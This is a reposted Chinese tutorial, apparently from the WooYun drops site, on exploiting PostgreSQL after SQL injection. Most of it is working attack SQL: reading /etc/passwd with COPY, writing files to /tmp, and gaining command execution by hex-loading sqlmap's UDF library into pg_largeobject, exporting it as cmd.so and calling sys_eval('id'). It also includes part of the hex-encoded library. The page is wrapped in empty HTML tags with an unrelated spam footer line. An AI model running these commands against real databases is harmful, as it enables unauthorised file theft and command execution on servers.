<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/218

                    今天無意發現了個PostgreSQL環境,線上學習了下,一般的數據注射(讀寫數據庫)差異不大,不做討論,個人比較關心PostgreSQL的文件讀取和命令執行方面。

                    0x00 文件讀取/寫入


                    PostgreSQL 8.1 以后提供了一組現成的文件操作函數

                    pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()
                    

                    用這些就可以胡作非為了?你錯了。。。

                    可以用這個函數直接讀取/etc/passwd?實際情況下測試并未成功,因為pg_xxx這個adminpack將權限限制在了./postgresql/data下面。

                    a)比如列目錄

                    2013070916495021606.png

                    b)讀取權限允許的文件

                    2013070916501626793.png

                    還有個寫文件函數測試并未成功,而且只能像data下寫也是滿足不了需求的。

                    c)比較可行的文件讀取方案

                    2013070916503429269.png

                    2013070916510067232.png

                    drop table wooyun;
                    CREATE TABLE wooyun(t TEXT);
                    COPY wooyun FROM '/etc/passwd';
                    SELECT * FROM wooyun limit 1 offset 0; 
                    

                    利用注射修改偏移值很快就可以遍歷出來了,但是還是有點寒磣,直接讀出全部數據

                    DROP TABLE wooyun;
                    CREATE TABLE wooyun (t TEXT);
                    COPY wooyun(t) FROM '/etc/passwd';
                    SELECT * FROM wooyun;
                    

                    2013070916512953973.png

                    d)寫入文件

                    DROP TABLE wooyun;
                    CREATE TABLE wooyun (t TEXT);
                    INSERT INTO wooyun(t) VALUES ('hello wooyun');
                    COPY wooyun(t) TO '/tmp/wooyun';
                    

                    2013070916514499642.png

                    讀一下看看是否存在

                    2013070916515914176.png
                    Bingo~

                    0x01 命令執行

                    enter code here
                    

                    這里大概有三種方式

                    a)利用 libc 中的 system() 函數

                    很多文件會讓我們添加一個到libc庫的自定義功能函數

                    CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; 
                    

                    但是返回錯誤

                    Error : ERROR: ?incompatible library "/lib64/libc.so.6": missing magic block  
                    HINT: ?Extension libraries are required to use the PG\_MODULE\_MAGIC macro.
                    

                    這是因為當PostgreSQL加載外部動態庫的時候,會檢查MAGIC DATA,如果沒有這個函數(Pg_magic_func),PostgreSQL認為這個動態庫不是PostgreSQL可以使用的動態庫。具體邏輯請看 src/backend/utils/fmgr/dfmgr.c 中定義的 internal_load_library 函數源代碼。

                    這樣一來就等同于建立了一個“白名單”,系統自帶的庫默認我不再允許動態加載,所以此路不通(也許低版本走的通,但我手里這個不行)。

                    給一個 Pg_magic_func 代碼樣例:

                    extern PGDLLEXPORT const Pg_magic_struct * Pg_magic_func(void);
                    const Pg_magic_struct *?
                    Pg_magic_func(void)
                    {
                        static const Pg_magic_struct Pg_magic_data = PG_MODULE_MAGIC_DATA;
                        return &Pg_magic_data;
                    } 
                    

                    b)利用Perl/Python腳本語言功能

                    在zone上看過一帖,http://zone.wooyun.org/content/1591,很納悶為什么這樣定義函數就可以執行系統命令,plperlu又是啥,經過資料的挖掘,發現是PostgreSQL自帶的一種程序語言支持。

                    具體可見這里(http://www.postgresql.org/docs/8.3/static/xplang.html)。

                    大概意思就是PostgreSQL允許用除了SQL和C的其他語言來編寫函數,但這個很悲劇啊,我的環境沒有安裝PostgreSQL的Python和Perl支持,待我弄個環境在來實現下過程。

                    c)利用C語言自定義函數

                    Perl、Python都能在PostgreSQL自定義了更不用說C了。

                    這個在sqlmap的udf目錄下有現成的,而且還是根據版本加了Pg_magic_func函數的,可以加載。。。牛鞭!

                    FengGou:8.4 $ pwd
                    /Users/FengGou/sqlmap/udf/postgresql/linux/64/8.4
                    FengGou:8.4 $ ls
                    lib_postgresqludf_sys.so
                    

                    將sqlmap的so文件轉為16進制的代碼

                    7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
                    

                    老他么長的一段,怎么還原成二進制的so庫文件呢?

                    這里感謝 @瞌睡龍 提供的Tips,這里用到了PostgreSQL的pg_largeobject“大對象數據”,官方原文:

                    pg_largeobject 表保存那些標記著"大對象"的數據。
                    一個大對象是使用其創建時分配的 OID 標識的。 
                    每個大對象都分解成足夠小的小段或者"頁面"以便以行的形式存儲在 pg_largeobject 里。 
                    每頁的數據定義為LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字節)。
                    

                    a)查看PostgreSQL目錄

                    SELECT setting FROM pg_settings WHERE name='data_directory'; 
                    

                    b)查詢id

                    select lo_creat(-1);
                    

                    oid為當前對象大數據的標識符,我們要利用這個存儲UDF文件內容。

                    c)oid與上面保持一致

                    delete from pg_largeobject where loid=18412;
                    

                    等于變相清空"頁面",不要干擾庫的生成

                    d)把16進制的so文件塞進去

                    insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex'));
                    

                    e)利用PostgreSQL自帶函數將大型對象導出到文件

                    SELECT lo_export(18412, 'cmd.so'); 
                    

                    f)建立UDF

                    CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
                    

                    g)調用這個UDF

                    select sys_eval('id'); 
                    

                    2013070916522426778.jpg

                    也許服務器沒裝PostgreSQL的Perl、Python支持,但是C庫是通用的。

                    參考:
                    1PostgreSQL SQL Injection Cheat Sheet
                    http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
                    2OWASP Backend Security Project Testing PostgreSQL
                    https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
                    3PostGreSQL注入學習(續篇)
                    http://www.hackol.com/news/201007270731289820885.shtml
                    4PostgreSQL Adminpack
                    http://www.postgresql.org/docs/8.4/static/adminpack.html
                    5PostgreSQL 外部動態連接庫魔法塊的使用
                    http://my.oschina.net/quanzl/blog/136907
                    6Chapter 37. Procedural Languages
                    http://www.postgresql.org/docs/8.3/static/xplang.html
                    http://zone.wooyun.org/content/1591
                    8pg_largeobject
                    http://www.php100.com/manual/PostgreSQL8/catalog-pg-largeobject.html

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频